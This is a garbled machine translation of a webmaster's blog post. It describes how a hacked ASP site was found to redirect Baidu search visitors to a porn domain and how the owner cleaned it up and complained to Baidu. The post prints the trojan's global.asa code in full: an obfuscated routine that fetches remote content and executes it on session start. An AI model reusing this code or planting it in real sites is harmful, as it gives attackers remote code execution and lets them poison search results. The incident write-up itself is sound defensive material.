In the past few days, the rankings of websites have been constantly changing. I found many websites in the seowhy forum, which are also out of the one hundred page. This situation is called Baidu's Dragon Boat Festival in the seo industry ". Now it has been a whole week before Baidu's Dragon Boat Festival. Many of my friends have begun to rank again, but my website has been ranked thousands of miles away. A little incredible! Instead, I made a detailed analysis on the website from the beginning for the website ranking.
Enough analysis to gain insight into the future!
First open Baidu, site: my website, found that the website is recorded a little abnormal, and then carefully flip the page to see, my ah! The website has been indexed with junk pages and titles such as yellow and pornography. From Baidu search into the site, the site is automatically redirected to the http://c.cat777.in/1/a1.html? Www page, and the 360 security prompt is used as a Trojan website. As follows:
I have never encountered this kind of situation. I haven't jumped to my own website in the past few days. Why did my website suddenly jump to a pornographic page? A little hard to understand. I also searched many articles related to redirection on the Internet and found that all of them share a common feature: they include snapshots of pornographic and pornographic titles, automatically jumps from Baidu search to a yellow website. If you log on from the original website, no jump will appear (that is, you enter the website to open your website and no jump will appear ). In this case, I began to doubt whether the website was hacked, whether the website was hacked or not, and there were more and more guesses.
Clarify the clues to find the problem!
The source code of the website should be analyzed. First, log on to FTP and download the source code to the local computer. Then, use the sinesafe website Trojan to detect and discover three Trojans: global. asa cende. asp about. asp, one of which is the trojan code in plaintext. The Code is as follows:
Sub Session_OnStart
Url = "h" & "t" & "t" & "p "&": "&"/"&"/"&" t "&" 72 "&""&". "&" q "&" u "&" 3 "&" 4 "&" 5 "&" 6 "&". "&
Set ObjXMLHTTP = Server. CreateObject ("MSXML2.serverXMLHTTP ")
ObjXMLHTTP. Open "GET", url, False
ObjXMLHTTP. setRequestHeader "User-Agent", url
ObjXMLHTTP. send
GetHtml = ObjXMLHTTP. responseBody
Set ObjXMLHTTP = Nothing
Set objStream = Server. CreateObject ("Adodb. Stream ")
ObjStream. Type = 1
ObjStream. Mode = 3
ObjStream. Open
ObjStream. Write GetHtml
ObjStream. Position = 0
ObjStream. Type = 2
ObjStream. Charset = "gb2312"
GetHtml = objStream. ReadText
ObjStream. Close
If instr (GetHtml, "[elvis]")> 0 then Execute (GetHtml)
End sub www.2cto.com
These codes are obviously not the original ones on my website. I found a program design friend who consulted the role of this code and said that they used global. this special file is used to remotely obtain the content and title. I can see that the website contains so many junk yellow pages, which are the ghost of this trojan. The Trojan gets content from the remote server, it also attracts Baidu's spider to capture and include them. Various causes have been thoroughly analyzed. Trojans have deceived Baidu spider and allowed the spider to collect a large number of junk pages. The weight of the website must be greatly reduced, so the ranking will be rejected!
Once you know the reason, there is a solution!
Delete the three detected trojan files. Then, clear the ftp space program, re-upload the program file that deleted the Trojan horse to the space, and re-open the website. The website jump problem is solved. Finally Open Baidu Complaint Center http://tousu.baidu.com/webmaster/add to fill in the site snapshot address and submit a complaint, Baidu will be handled within a week, the website ranking and the inclusion of the problem will be finally solved perfectly.
From beginning to end, the solution is inseparable from detailed analysis. Only when the analysis is sufficient can the problem be solved. The above is my personal analysis and solution to the problem. I hope to help more people like me and help others to help myself, you will go further on the road of life!
This article is sourced from www.sinesafe.cn. You are welcome to reprint this article. Thank you!